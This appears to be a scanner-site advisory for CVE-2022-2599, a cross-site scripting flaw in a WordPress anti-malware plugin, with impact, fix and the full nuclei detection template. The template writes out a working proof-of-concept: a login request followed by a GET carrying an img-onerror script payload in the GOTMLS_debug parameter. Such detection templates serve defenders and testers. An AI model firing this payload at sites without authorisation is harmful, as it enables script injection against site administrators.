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CVE-2022-2599· anti-malware security and brute-force firewall project / anti-malware security and brute-force firewall· CWE-79

WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the targeted WordPress site, potentially leading to unauthorized access, data theft, or further attacks.

Fix

Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability.

How to confirm it

Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29>
Positive when: contains "</script><img src onerror=alert(document.domain)>" and "GOTMLS_mt" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-2599 -u <target>

The full check

id: CVE-2022-2599

info:
  name: WordPress Anti-Malware Security and Brute-Force Firewall <4.21.83 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    WordPress Anti-Malware Security and Brute-Force Firewall plugin before 4.21.83 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some parameters before outputting them back in an admin dashboard.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the targeted WordPress site, potentially leading to unauthorized access, data theft, or further attacks.
  remediation: |
    Update the WordPress Anti-Malware Security and Brute-Force Firewall plugin to version 4.21.83 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/276a7fc5-3d0d-446d-92cf-20060aecd0ef
    - https://wordpress.org/plugins/gotmls/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2599
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-2599
    cwe-id: CWE-79
    epss-score: 0.0142
    epss-percentile: 0.73056
    cpe: cpe:2.3:a:anti-malware_security_and_brute-force_firewall_project:anti-malware_security_and_brute-force_firewall:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: anti-malware_security_and_brute-force_firewall_project
    product: anti-malware_security_and_brute-force_firewall
    framework: wordpress
  tags: cve,cve2022,wordpress,wp-plugin,xss,gotmls,authenticated,wpscan,anti-malware_security_and_brute-force_firewall_project,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=GOTMLS-settings&GOTMLS_debug=<%2Fscript><img+src+onerror%3Dalert%28document.domain%29> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><img src onerror=alert(document.domain)>"
          - "GOTMLS_mt"
        condition: and

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

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